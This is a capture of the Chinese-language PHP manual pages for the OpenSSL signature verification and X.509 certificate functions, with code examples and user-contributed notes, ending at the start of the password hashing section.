openssl_verify() 使用与 public_key 关联的公钥验证指定数据 data 的签名 signature 是否正确。这必须是与用于签名的私钥相对应的公钥。

参数

data

以前用来生成签名的数据字符串。

signature

原始二进制字符串，通过 openssl_sign() 或类似的函数生成。

public_key

OpenSSLAsymmetricKey - 一个密钥, 通过 openssl_get_publickey() 函数返回。

string - 一个 PEM 格式的密钥（比如 -----BEGIN PUBLIC KEY----- MIIBCgK...）

algorithm

int - 以下签名算法之一 Signature Algorithms.

string - 由 openssl_get_md_methods() 函数返回的可用字符串，比如，"sha1WithRSAEncryption" 或者 "sha512".

返回值

如果签名正确返回 1，签名错误返回 0，错误时返回 -1 或 false。

更新日志

版本 | 说明
8.0.0 | public_key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例；之前接受类型 OpenSSL key 或 OpenSSL X.509 的 resource。

示例

Example #1 openssl_verify() 示例

<?php
// $data and $signature are assumed to contain the data and the signature

// fetch public key from certificate and ready it
$pubkeyid = openssl_pkey_get_public("file://src/openssl-0.9.6/demos/sign/cert.pem");

// state whether signature is okay or not
$ok = openssl_verify($data, $signature, $pubkeyid);
if ($ok == 1) {
echo "good";
} elseif ($ok == 0) {
echo "bad";
} else {
echo "ugly, error checking signature";
}
// free the key from memory
openssl_free_key($pubkeyid);
?>

Example #2 openssl_verify() 示例

<?php
//data you want to sign
$data = 'my data';

//create new private and public key
$private_key_res = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$details = openssl_pkey_get_details($private_key_res);
$public_key_res = openssl_pkey_get_public($details['key']);

//create signature
openssl_sign($data, $signature, $private_key_res, "sha256WithRSAEncryption");

//verify signature
$ok = openssl_verify($data, $signature, $public_key_res, OPENSSL_ALGO_SHA256);
if ($ok == 1) {
echo "valid";
} elseif ($ok == 0) {
echo "invalid";
} else {
echo "error: ".openssl_error_string();
}
?>

参见

  • openssl_sign() - Generate signature

User Contributed Notes

phpdev at fpierrat dot fr 20-Sep-2021 01:17
As stated from the doc: "Returns 1 if the signature is correct, 0 if it is incorrect, and -1 or false on error. "

In the second example as a well as in Stiv's note, following condition will match for both 0 or false, which have different meaning:
elseif ($ok == 0) {
    echo "bad";
}

On should do an identical test here (===) instead of an equal test (==):
elseif ($ok === 0) {
    echo "bad";
}
---
var_dump(0==false); //==> true
var_dump(0===false);//==> false
peter dot labos at gmail dot com 23-Jan-2018 02:10
openssl_verify() is populating openssl_error_string() even on false.

When openssl_verify() returns 0, openssl_error_string() is populated with 1.
I spent lot of time to understand, while my next call to openssl was failing with checks for error.

<?php
$c = file_get_contents($filename);
$publicKey = openssl_pkey_get_public($c);
$result = openssl_verify('freedom', 'someirrelevantnosign', $publicKey);

$error = "";

while ($msg = openssl_error_string() !== false) {
    $error .= $msg;
}

if (!empty($error)) {
    echo $error; // 1
}
attila dot m dot magyar at gmail dot com 26-Aug-2014 09:37
mikey at badpenguins dot com -- validating an X509 certificate chain in php seems to be possible with openssl_x509_checkpurpose()
jeremie dot gomez at gmail dot com 31-Aug-2011 11:08
You can actually use the public key as third parameter and not the certificate.

If you can't make it work, make sure that :

1) Your public key is well formatted. It seems that it must have the ----BEGIN PUBLIC KEY---- and ----END PUBLIC KEY----

2) Your signature is in binary format. You can use the php base64_decode for this.
mikey at badpenguins dot com 06-Jun-2010 09:04
I spent days scouring the php openssl documentation trying to figure out how to do what sounds like a simple task - given two PEM encoded certificates, is one the signer of the other?  Nowhere in the openssl_verify() documentation or comments is it explained where to obtain the signature of an existing certificate.  The openssl_x509_parse() function looked promising, but it is an unstable API that may change.

I had to write my own code to determine if one cert signed another, it is located here: http://badpenguins.com/source/misc/isCertSigner.php?viewSource

In a nutshell here is what I learned...

The signature data in a signed X.509 certificate contains DER formatted data about the signature that is encrypted with the signers public key.  The data contains a hash of the original subject certificate and information about what encryption algorithm was used to create the signature.

So you need to get this signature data and a copy of the original certificate with the issuer and signature sequences removed.  Hash a copy of the original certificate (sans issuer/signature sequences) with the same algorithm the issuer used and if the hashes match, you have the issuer cert that signed the certificate.
Stiv 02-Mar-2006 06:34
I've finally found a way to verify signature. Sample in the documentation doesn't work. Code bellow DOES work :)

<?php
// $data is assumed to contain the data to be signed

// fetch certificate from file and ready it
$fp = fopen("path/file.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);

// state whether signature is okay or not
// use the certificate, not the public key
$ok = openssl_verify($data, $signature, $cert);
if ($ok == 1) {
    echo "good";
} elseif ($ok == 0) {
    echo "bad";
} else {
    echo "ugly, error checking signature";
}
?>
steve dot venable at lmco dot com 30-May-2002 12:36
A note about the openssl_verify() (and some of the other functions).  The public key comes from a certificate in any of the support formats (as the example shows, use openssl_get_publickey() to get the resource id).  But after some trial and error I found the signature string MUST BE BINARY.  While no error occurs, passing a base64-formatted signature string (PEM format?), you simply get a mismatch.  When I did the base64 decode myself, the verify returned a match (return value 1).  You can simply drop the begin/end lines and take the output of the 'base64_decode()' function.
meint dot post at bigfoot dot com 09-Jun-2001 11:56
Anbybody trying to get a Win32 CryptoAPI based digital signature component to work with the openssl_verify() function should be aware that the CryptoAPI PKCS1 (RSA) method uses bytes in reverse order while the openssl_verify() method expects a correctly formatted PKCS1 digital signature (as should be). I learned this the hard way and it took me some time to dig this out. A simple solution in VBScript to reverse the byte order:

N = Len(Blob.Hex)

' reverse bytes in the signature using Hex format
For i = 1 To N - 1 Step 2
    s = Mid(Blob, i, 2) & s
Next

s contains the digital signature in reverse order. Blob is an arbitrary binary container.

Send the signature off in Hex format and use a hex2bin method in PHP to convert to the correct format for openssl_verify(), i.e.

function hex2bin($data) {

    $len = strlen($data);
    return pack("H" . $len, $data);

}

That's it, hope it helps out. BTW I used ASPEncrypt to toy around with on Win32 platform. Works only with Internet Explorer but you could also use a Java applet and have none of the abovementioned problems :-)


检查私钥是否对应于证书

  • ? openssl_verify
  • openssl_x509_checkpurpose ?
  • PHP Manual
  • OpenSSL 函数
  • 检查私钥是否对应于证书

openssl_x509_check_private_key

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_x509_check_private_key — 检查私钥是否对应于证书

说明

openssl_x509_check_private_key(OpenSSLCertificate|string $certificate, OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key): bool

检查指定的私钥 private_key 是否和证书 certificate 对应。

Warning

这个函数不会检查密钥 private_key 是否真的是私钥。 它只是比较了和密钥匹配的公共材料 (比如，RSA 密钥的指数和模量) 和/或密钥参数(比如，EC 密钥的参数)。

这也意味着，比如，提供给 private_key 赋一个公钥值，该函数可能返回 true。

参数

certificate

证书。

private_key

私钥。

返回值

如果指定的私钥 private_key 和证书 certificate 对应，返回 true 否则返回 false。

更新日志

版本 | 说明
8.0.0 | certificate 现在接受 OpenSSLCertificate 实例；之前接受类型 OpenSSL X.509 的 resource。
8.0.0 | private_key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例；之前接受类型 OpenSSL key 或 OpenSSL X.509 的 resource。

User Contributed Notes

tomsie at toms dot ie 05-Dec-2017 01:51
This function DOES return TRUE if the key has a passphrase, you just need to set up the data in such a way that the function can understand it. It is not documented here.

This error message led me to the solution:

PHP Warning:  openssl_x509_check_private_key(): key array must be of the form array(0 =&gt; key, 1 =&gt; phrase)

So this works:

$certFile = file_get_contents('cert.crt');
$keyFile = file_get_contents('cert.key');
$keyPassphrase = "password1234";
$keyCheckData = array(0=>$keyFile,1=>$keyPassphrase);
$result = openssl_x509_check_private_key($certFile,$keyCheckData);
jared at enhancesoft dot com 24-Apr-2015 08:58
This function will return FALSE if the private key requires a pass phrase.


验证是否可以为特定目的使用证书

  • ? openssl_x509_check_private_key
  • openssl_x509_export_to_file ?
  • PHP Manual
  • OpenSSL 函数
  • 验证是否可以为特定目的使用证书

openssl_x509_checkpurpose

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_x509_checkpurpose — 验证是否可以为特定目的使用证书

说明

openssl_x509_checkpurpose(
OpenSSLCertificate|string $certificate,
int $purpose,
array $ca_info = [],
?string $untrusted_certificates_file = null
): bool|int

openssl_x509_checkpurpose() 检查证书以查看它是否可用于指定目的 purpose。

参数

certificate

被检查的证书。

purpose

openssl_x509_checkpurpose() 目的
常量名 | 描述
X509_PURPOSE_SSL_CLIENT | 证书是否可以用于 SSL 连接的客户端?
X509_PURPOSE_SSL_SERVER | 证书是否可以用于 SSL 连接的服务器端?
X509_PURPOSE_NS_SSL_SERVER | 证书是否可以用于 Netscape SSL 服务器?
X509_PURPOSE_SMIME_SIGN | 证书是否可以用来签名 S/MIME 邮件?
X509_PURPOSE_SMIME_ENCRYPT | 正式是否可用用来加密 S/MIME 邮件?
X509_PURPOSE_CRL_SIGN | 证书是否可以用来签名证书撤销列表（CRL）?
X509_PURPOSE_ANY | 证书是否可以用于任何目的?
这些选项不是位字段——只能指定一个字段!

ca_info

ca_info 应该是一个受信任的 CA 文件/文件夹组成的数组，如 Certificate Verification 所描述的一样。

untrusted_certificates_file

如果指定，这应该是 PEM 编码文件的名称，该文件持有证书，可以用来帮助验证证书,尽管从该文件中获得的证书不受信任。

返回值

如果证书可以用于预期目的，返回 true，如果不行，则返回 false 错误便会返回 -1。

更新日志

版本 | 说明
8.0.0 | certificate 现在接受 OpenSSLCertificate 实例；之前接受类型 OpenSSL X.509 的 resource。
8.0.0 | untrusted_certificates_file 现在可为 null。

User Contributed Notes

dingyuan at tencent dot com 11-Aug-2020 07:15
in one word ：if you set $purpose=0, you can use this function to verify certificate chain.

====================================================================

I want to verify a certificate chain. just like this:
userCert.pem => middleCert.pem => rootCert.pem

I figured that none of these openssl functions provide this function directly. And some friends have same need as me,  "mikey at badpenguins dot com" even write his own code to verify certificate chain(you can see notes below openssl_verify).

and I notice a note which has '-3' likes below openssl_verify, it says "validating an X509 certificate chain in php seems to be possible with openssl_x509_checkpurpose()", and I read the source code about this function, the given constant var about $purpose (like X509_PURPOSE_SSL_CLIENT ) is 1-7, and if you set $purpose among 1-7, you cannot verify the cert chain. Set $purpose=0 can get the truly result about verify a cert chain.

and I give that '-3' note a thumb-up, now it has -2 , lol.
adr at NOSPAM dot entropymatrix dot com 17-May-2013 04:24
The following is an example usage of openssl_x509_checkpurpose. It is equivalent to the openssl verify command as follows:
openssl verify -CApath $openssl_cadir -purpose sslserver $openssl_crtfile

<?php
$openssl_crtfile='auth.combined.pem';
$openssl_cadir='./ca';

$x509_res = openssl_x509_read(file_get_contents($openssl_crtfile));
if(empty($x509_res)) {
        echo 'x509 cert could not be read'."\n";
}
$valid = openssl_x509_checkpurpose($x509_res,X509_PURPOSE_SSL_SERVER,array($openssl_cadir));
if ($valid === true) {
        echo 'Certificate is valid for use as SSL server'."\n";
} else {
        echo 'Certificate validation returned'.$valid."\n";
}
?>
chaoszcat at gmail dot com 16-Aug-2012 04:05
Few days ago I dual boot my system into Windows 8 and play around with it, and then I boot it back to windows 7, and all of sudden this function fails by returning me 0 all the time.

Spent almost two hours digging google for no result, I almost end my research.

Then (I don't know why) I did a system time update (synchronize with time.nist.gov), and all of sudden, this function returns me 1 (true).

It's true that when I boot back to Windows 7 my time has been screwed by a few hours later than my current time, and I did a manual change on it. I doubt this has anything to do with this function?

Hope it helps.

Keywords: google discovery, openid, discovery
Platform: Windows 7 64bit, PHP 5.3.13


导出证书至文件

  • ? openssl_x509_checkpurpose
  • openssl_x509_export ?
  • PHP Manual
  • OpenSSL 函数
  • 导出证书至文件

openssl_x509_export_to_file

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_x509_export_to_file — 导出证书至文件

说明

openssl_x509_export_to_file(OpenSSLCertificate|string $certificate, string $output_filename, bool $no_text = true): bool

openssl_x509_export_to_file() 将 certificate 以 PEM 编码的格式保存到名为 output_filename 的文件中。

参数

x509

参见密钥／证书参数以获取有效值列表。

output_filename

输出文件的路径。

no_text

可选参数 notext 影响输出的冗余度。如果设为 false，输出内容将包含附加的人类可读信息。notext 的缺省值为 true。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | certificate 现在接受 OpenSSLCertificate 实例；之前接受类型 OpenSSL X.509 的 resource。

User Contributed Notes

There are no user contributed notes for this page.


以字符串格式导出证书

  • ? openssl_x509_export_to_file
  • openssl_x509_fingerprint ?
  • PHP Manual
  • OpenSSL 函数
  • 以字符串格式导出证书

openssl_x509_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_x509_export — 以字符串格式导出证书

说明

openssl_x509_export(OpenSSLCertificate|string $certificate, string &$output, bool $no_text = true): bool

openssl_x509_export() 将 certificate 以 PEM 编码的格式导出到名为 output 的字符串类型的变量中。

参数

x509

参见密钥／证书参数以获取有效值列表。

output

成功，将会存储 PEM。

no_text

可选参数 notext 影响输出的冗余度。如果设为 false，输出内容将包含附加的人类可读信息。notext 的缺省值为 true。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | certificate 现在接受 OpenSSLCertificate 实例；之前接受类型 OpenSSL X.509 的 resource。

User Contributed Notes

There are no user contributed notes for this page.


计算一个给定的 x.509 证书的指纹或摘要

  • ? openssl_x509_export
  • openssl_x509_free ?
  • PHP Manual
  • OpenSSL 函数
  • 计算一个给定的 x.509 证书的指纹或摘要

openssl_x509_fingerprint

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_x509_fingerprint — 计算一个给定的 x.509 证书的指纹或摘要

说明

openssl_x509_fingerprint(OpenSSLCertificate|string $certificate, string $digest_algo = "sha1", bool $binary = false): string|false

openssl_x509_fingerprint() 返回 certificate 的字符串类型的摘要。

参数

x509

参见密钥／证书参数以获取有效值列表。

digest_algo

使用的摘要方法或散列算法，比如，"sha256"、openssl_get_md_methods() 摘要算法之一。

binary

设置为 true 时，输出原始二进制数据。设置为 false 时，输出小写的 16 进制字符串。

返回值

将包含计算的证书指纹的字符串返回为小写 16 进制格式，除非将 binary 设置为 true，在这种情况下会返回消息摘要的原始二进制表示形式。

失败则返回 false。

更新日志

版本 | 说明
8.0.0 | certificate 现在接受 OpenSSLCertificate 实例；之前接受类型 OpenSSL X.509 的 resource。

User Contributed Notes

nb at dland dot de 14-Apr-2015 04:05
The manual is not constistent at this point. On one hand, it describes the return as digest/fingerprint of a cert, on the other hand it says:
bool openssl_x509_fingerprint( ... )

On PHP 5.6.5, I only get the bool return (1 or 0).


释放证书资源

  • ? openssl_x509_fingerprint
  • openssl_x509_parse ?
  • PHP Manual
  • OpenSSL 函数
  • 释放证书资源

openssl_x509_free

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_x509_free — 释放证书资源

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

openssl_x509_free(OpenSSLCertificate $certificate): void

Note:

此函数无效。在 PHP 8.0.0 之前，用于关闭资源。

openssl_x509_free() 从内存中释放和指定 certificate 资源相关联的证书。

参数

certificate

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | 此函数现已弃用，因为不再有效。
8.0.0 | certificate 现在接受 OpenSSLCertificate 实例；之前接受类型 OpenSSL X.509 的 resource。

User Contributed Notes

There are no user contributed notes for this page.


解析一个 X509 证书并作为一个数组返回信息

  • ? openssl_x509_free
  • openssl_x509_read ?
  • PHP Manual
  • OpenSSL 函数
  • 解析一个 X509 证书并作为一个数组返回信息

openssl_x509_parse

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_x509_parse — 解析一个 X509 证书并作为一个数组返回信息

说明

openssl_x509_parse(OpenSSLCertificate|string $certificate, bool $short_names = true): array|false

openssl_x509_parse() 返回提供的 certificate 证书的信息，包括主题名称、发行方名称、目的、有效日期等字段。

参数

certificate

X509 证书。有关有效值列表，参阅密钥/证书参数。

short_names

short_names 控制数据在数组中的索引 - 如果 short_names 为 true，字段将以短名称的形式被索引，否则将会使用长名称的形式 - 比如：CN 就是 commonName 的短名称格式。

返回值

返回的数据的结构是（故意的）还没有文档化，因为它仍然会发生变化。

更新日志

版本 | 说明
8.0.0 | certificate 现在接受 OpenSSLCertificate 实例；之前接受类型 OpenSSL X.509 的 resource。

User Contributed Notes

Stilez 06-Jun-2016 04:12
The valid from/to info is returned twice, in two different formats. They can be converted to normal datetime objects like this:

$x509_data = openssl_x509_parse($cert);
date_create_from_format('ymdHise', $x509_data['validFrom'])->format('c');
date_create( '@' .  $x509_data['validFrom_time_t'])->format('c');
/* these give the same result */

To get a human-readable format directly (or any other formatted string) instead of a datetime object, use this:

date_create_from_format('ymdHise', $x509_data['validFrom'])->format('c');
or
date_create( '@' .  $x509_data['validFrom_time_t'])->format('c');

The same applies to validTo and validTo_time_t
s dot stok at rollerscapes dot net 28-Dec-2009 05:03
Alternative subjects can read as extensions.

[extensions]
            [subjectAltName] => DNS:*.cacert.org, DNS:cacert.org, DNS:*.cacert.net, DNS:cacert.net, DNS:*.cacert.com, DNS:cacert.com
koukopoulos at gmail dot com 17-Mar-2008 05:22
Re: the previous note: support for the x509v3 extensions was added in PHP 5.2. Also in PHP5 prior to 5.2.4 the values of the x509v3 extensions were not decoded and were returned in the DER binary representation. Therefore in order to read the contents of the v3 extensions you have to parse the relevant ASN.1 structures yourself.

For example if one needs to read an IA5STRING value in a private extension with the OID 1.3.6.1.4.1.7782.3.3 one can do :

<?php

/* parse a DER encoded representation
   of a IA5STRING of length < 127 */
function asn1der_ia5string($str)
{
    $len=strlen($str)-2;
    if ($len < 0 && $len > 127) {
        return false;
    }

    /* check tag and len */
    if (22 != (ord($str[$pos++]) & 0x1f) &&
    ord($str[$pos++]) != $len) {
    /* not a valid DER encoding of an IA5STRING */
    return false;
    }

    return substr($str, 2,  $len);
}
$cert = openssl_x509_parse($pemcert);
print (asn1der_ia5string($cert['extensions']['1.3.6.1.4.1.7782.3.3'])); // prints decoded ascii string

?>

In newer versions (>5.2.3) the extensions are returned in a 'readable format'. For example:

<?php print_r(openssl_x509_parse(...)); ?>
will result in
<?
Array
(
    [name] => /C=GR/O=SOMETHING/CN=ME/
    ...
    [extensions] => Array
        (
            [basicConstraints] => CA:FALSE
            [keyUsage] => Digital Signature, Non Repudiation, Key Encipherment
            [extendedKeyUsage] => E-mail Protection, TLS Web Client Authentication
            [nsCertType] => SSL Client, S/MIME
            ....
?>
zioproto at gmail dot com 13-Feb-2008 06:43
To read an extension from a X.509 certificate, you can proceed like this if you know the OID

//Read the certificate from file
$cert = file_get_contents('test.crt');
$ssl = openssl_x509_parse($cert);

$ext_value =  $ssl['extensions']['1.2.3.4.5.6'];
echo $ext_value

--------------------------------

Because the $ssl array is not documented, you can easily see its contents like this:

  //To print out all the array!
  print_r(array_values($ssl));
  print_r(array_keys($ssl));
nathanael at dihedral dot de 11-Aug-2006 06:02
When dealing with the purposes of a x509 crt file
the output of openssl_x509_parse gives an array with following for the purposes:
each new array ([purposes][1], [purposes][2] for example) is a new purpose check
I compared this output with the output of the command
# openssl x509 -purpose -in <x509crt_file>
the result i got was that
[purposes][x][2] quite obviously is the name of the purpose checked
[purposes][x][1] corresponds to the tested purpose (as named in [purposes][x][2]) acting as CA
[purposes][x][0] corresponds to the general availability of the purpose

[purposes] => Array
    (
        [1] => Array
            (
                [0] => 1
                [1] => 1
                [2] => sslclient
            )

        [2] => Array
            (
                [0] => 1
                [1] => 1
                [2] => sslserver
            )

        [3] => Array
            (
                [0] => 1
                [1] => 1
                [2] => nssslserver
            )

        [4] => Array
            (
                [0] => 1
                [1] => 1
                [2] => smimesign
            )

        [5] => Array
            (
                [0] => 1
                [1] => 1
                [2] => smimeencrypt
            )

        [6] => Array
            (
                [0] => 1
                [1] => 1
                [2] => crlsign
            )

        [7] => Array
            (
                [0] => 1
                [1] => 1
                [2] => any
            )

        [8] => Array
            (
                [0] => 1
                [1] => 1
                [2] => ocsphelper
            )

    )
maarten at xolphin dot nl 11-Feb-2005 02:00
At this time very useful X509 oids (like streetAddress, postalCode and others) are missing. You can find a list of them at http://www.alvestrand.no/objectid/2.5.4.html, I hope they get included to openssl-x509-parse soon.

Until then you can get these oids anyway like this:

<?
  function getOID($OID, $ssl)
  {
    preg_match('/\/' . $OID  . '=([^\/]+)/', $ssl, $matches);
    return $matches[1];
  }

  $cert = file_get_contents('test.crt');
  $ssl = openssl_x509_parse($cert);
  $Address = getOID('2.5.4.9', $ssl['name']);
  $ZipCode = getOID('2.5.4.17', $ssl['name']);
  $Postbox = getOID('2.5.4.18', $ssl['name']);
?>

The parseCert function from the Horde framework can be usefull for this too.
smgallo at buffalo dot edu 29-Oct-2004 11:15
The identifier for the email portion of certificates in the name and subject array have changed since PHP4.  In PHP 4.3.0 the following array was returned (displayed my print_r())

[name] => /O=Grid/O=Globus/O=CCR Grid Portal/OU=Portal User/CN=Test User/Email=test@nospam.buffalo.edu
[subject] => Array
(
   [O] => Grid/O=Globus/O=CCR Grid Portal
   [OU] => Portal User
   [CN] => Test User
   [Email] => test@nospam.buffalo.edu
...

The result in PHP5 is (note Email -> emailAddress):

[name] => /O=Grid/O=Globus/O=CCR Grid Portal/OU=Portal User/CN=Test User/emailAddress=test@nospam.buffalo.edu
[subject] => Array
(
   [O] => Grid/O=Globus/O=CCR Grid Portal
   [OU] => Portal User
   [CN] => Test User
   [emailAddress] => test@nospam.buffalo.edu
...

Of course, the manual DOES say this could happen.  :)


解析 x.509 证书并返回对象

  • ? openssl_x509_parse
  • openssl_x509_verify ?
  • PHP Manual
  • OpenSSL 函数
  • 解析 x.509 证书并返回对象

openssl_x509_read

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_x509_read — 解析 x.509 证书并返回对象

说明

openssl_x509_read(OpenSSLCertificate|string $certificate): OpenSSLCertificate|false

openssl_x509_read() 解析certificate 提供的证书，并返回它的 OpenSSLCertificate 对象。

参数

certificate

X509 证书。参见 Key/Certificate parameters 获取可用的值。

返回值

成功时返回 OpenSSLCertificate， 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | 此函数现在成功时返回 OpenSSLCertificate 实例；之前返回类型 OpenSSL X.509 的 resource。
8.0.0 | certificate 现在接受 OpenSSLCertificate 实例；之前接受类型 OpenSSL X.509 的 resource。

User Contributed Notes

marc theat nwd thedot mx 10-May-2011 09:58
To get the real timestamps as integer values for the validity daterange you can use as follows:

<?php
$data = openssl_x509_parse(file_get_contents('/path/to/cert.crt'));

$validFrom = date('Y-m-d H:i:s', $data['validFrom_time_t']);
$validTo ) date('Y-m-d H:i:s', $data['validTo_time_t']);

echo $validFrom . "\n";
echo $validTo . "\n";

?>
04-Jun-2003 09:32
After some tests I've been able to get some results this way ...

<?php

 $fp = fopen("/etc/httpd/conf/ssl/moncertif.crt", "r");
 $cert = fread($fp, 8192);
 fclose($fp);

echo "Read<br>";
echo openssl_x509_read($cert);
echo "<br>";
echo "*********************";
echo "<br>";
echo "Parse<br>";
print_r(openssl_x509_parse($cert));
/*
// or
print_r(openssl_x509_parse( openssl_x509_read($cert) ) );
*/

?>

enjoy
;)
anthony dot whitehead at rfv dot sfa dot se 03-Feb-2003 05:32
Short HOWTO for getting data out of a client certificate via an SSL enabled iPlanet (Netscape Enterprise or Sun ONE) web server.

The iPlanet server sets $_SERVER["CLIENT_CERT"] whenever a client authenticates with a certificate. This variable contains an encoded representation of the certificate presented by the client. This in itself is useless to scripts or applications, we need to extract the actual information from the encoding. It turns out that we are in luck, the encoding is NEARLY a standard PEM encoding which can be read by the openssl_x509_read() function. A standard PEM has a begin line, an end line and inbetween is a base64 encoding of the DER representation of the certificate. PEM requires that linefeeds be present every 64 characters, however this is already the case with our CLIENT_CERT variable. For some reason the iPlanet server neglects to attach the begin and end headers, all that is required to allow access to the certificate is replacing these headers. Here is a small code excerpt for doing just that and printing out the raw certificate data.

<?php
    $beginpem = "-----BEGIN CERTIFICATE-----\n";
    $endpem = "-----END CERTIFICATE-----\n";

    // Small function to print the data recursivly.
    function print_element($item, $key)
    {
        if( is_array( $item ) )
        {
            echo "$key is Array:\n";
            array_walk( $item, 'print_element' );
            echo "$key done\n";
        }
        else
            echo "$key = $item\n";
    }

    // Build the PEM string.
    $pemdata = $beginpem.$_SERVER["CLIENT_CERT"]."\n".$endpem;

    // Get a certificate resource from the PEM string.
    $cert = openssl_x509_read( $pemdata );

    // Parse the resource and print out the contents.
    $cert_data = openssl_x509_parse( $cert );
    array_walk( $cert_data, 'print_element' );

    // Free the resource
    openssl_x509_free( $cert );
?>


Verifies digital signature of x509 certificate against a public key

  • ? openssl_x509_read
  • OpenSSLCertificate ?
  • PHP Manual
  • OpenSSL 函数
  • Verifies digital signature of x509 certificate against a public key

openssl_x509_verify

(PHP 7 >= 7.4.0, PHP 8)

openssl_x509_verify — Verifies digital signature of x509 certificate against a public key

说明

openssl_x509_verify(OpenSSLCertificate|string $certificate, OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key): int

openssl_x509_verify() verifies that the certificate certificate was signed by the private key corresponding to public key public_key.

参数

x509

参见密钥／证书参数以获取有效值列表。

public_key

OpenSSLAsymmetricKey - a key, returned by openssl_get_publickey()

string - a PEM formatted key (e.g. -----BEGIN PUBLIC KEY----- MIIBCgK...)

返回值

Returns 1 if the signature is correct, 0 if it is incorrect, and -1 on error.

更新日志

版本 | 说明
8.0.0 | certificate accepts an OpenSSLCertificate instance now; previously, a resource of type OpenSSL X.509 was accepted.
8.0.0 | public_key accepts an OpenSSLAsymmetricKey or OpenSSLCertificate instance now; previously, a resource of type OpenSSL key or OpenSSL X.509 was accepted.

示例

Example #1 openssl_x509_verify() example

<?php
$hostname = "news.php.net";
$ssloptions = array(
"capture_peer_cert" => true,
"capture_peer_cert_chain" => true,
"allow_self_signed"=> false,
"CN_match" => $hostname,
"verify_peer" => true,
"SNI_enabled" => true,
"SNI_server_name" => $hostname,
);

$ctx = stream_context_create( array("ssl" => $ssloptions) );
$result = stream_socket_client("ssl://$hostname:443", $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $ctx);
$cont = stream_context_get_params($result);
$x509 = $cont["options"]["ssl"]["peer_certificate"];
$certparsed = openssl_x509_parse($x509);

foreach($cont["options"]["ssl"]["peer_certificate_chain"] as $chaincert)
{
$chainparsed = openssl_x509_parse($chaincert);
$chain_public_key = openssl_get_publickey($chaincert);
$r = openssl_x509_verify($x509, $chain_public_key);
if ($r==1)
{
echo $certparsed['subject']['CN'];
echo " was digitally signed by ";
echo $chainparsed['subject']['CN']."\n";
}
}
?>

参见

  • openssl_verify() - 验证签名
  • openssl_get_publickey() - 别名 openssl_pkey_get_public

User Contributed Notes

There are no user contributed notes for this page.


OpenSSLCertificate 类

(PHP 8)

简介

从 PHP 8.0.0 开始替换 OpenSSL X.509 资源的完全不透明类。

类摘要

final class OpenSSLCertificate {
}

User Contributed Notes

There are no user contributed notes for this page.


OpenSSLCertificateSigningRequest 类

(PHP 8)

简介

从 PHP 8.0.0 开始替换 OpenSSL X.509 CSR 资源的完全不透明类。

类摘要

final class OpenSSLCertificateSigningRequest {
}

User Contributed Notes

There are no user contributed notes for this page.


OpenSSLAsymmetricKey 类

(PHP 8)

简介

从 PHP 8.0.0 开始替换 OpenSSL key 资源的完全不透明类。

类摘要

final class OpenSSLAsymmetricKey {
}

User Contributed Notes

kaiserwaseem at gmail dot com 16-Jun-2023 01:08
<?php

$data="Your secret data goes here...";
$encrypted_data = "";

//Sample Public Key in your pem file:
$publicKey='-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoKQH6XtTUYPSIWPjtcA3I6VBF3F3TZMd9RImq0YG55qGIJvOOP0MeVib
D7MFtN4hv6ke3NyYaaUfRaxQ6mrDGzd
YOzdkqebjUzSNnwd8eQCRL2rvOsgUhf2yghLBlxq+9yfpzDV3KQ58JkCqvV1trBt/ISjPtgbK24V3v55z+cN558DMgyQmV
8pYrTFzktFVlJP20DR08HzIGimlWq/ixUfY4K
rznqapnKMw1u6SVVgGem67LC8HO9Mfx3KDseJaG7oUbSWq8vaTW2ewjEfs5JRt1OMUol7CHHtqVprcMizclqCO9Kh
Dmpussq19l0LbKbGkC73uK0Nm8RyfGhiWCQIDAQAB
-----END PUBLIC KEY-----';

//following line will return the object of OpenSSLAsymmetricKey
$oOpenSSLAsymmetricKey = openssl_get_publickey($publicKey);

//following line will return the encrypted data with RSA 2048 encryption
$encryptedData =  openssl_public_encrypt(
    $data,
    $encrypted_data,
   $oOpenSSLAsymmetricKey,
     OPENSSL_SSLV23_PADDING
);

var_dump($encrypted_data);


密码散列算法

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 密码散列算法函数
    • password_algos — Get available password hashing algorithm IDs
    • password_get_info — 返回指定散列（hash）的相关信息
    • password_hash — 创建密码的散列（hash）
    • password_needs_rehash — 检测散列值是否匹配指定的选项
    • password_verify — 验证密码是否和散列值匹配

User Contributed Notes

There are no user contributed notes for this page.


简介

密码散列算法 API 提供了 crypt() 等密码算法的简单易用包装， 以一种简洁易用安全的方式创建和管理密码。

User Contributed Notes

There are no user contributed notes for this page.


需求

构建此扩展不需要其他扩展。

为了支持 Argon2 密码散列，需要 » libargon2。 PHP 7.3.0 起，需要 libargon2 为 20161029 或更高的版本。

User Contributed Notes

There are no user contributed notes for this page.


安装

使用这些函数不需要安装，它们是 PHP 核心的一部分。

为了使用 Argon2 密码散列，PHP 必须用 --with-password-argon2 配置选项和 libargon2 构建。

在 PHP 8.1.0 之前，可以使用 --with-password-argon2[=DIR] 指定 argon2 目录。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量作为 PHP 核心的一部分总是可用的。

PASSWORD_BCRYPT (string)

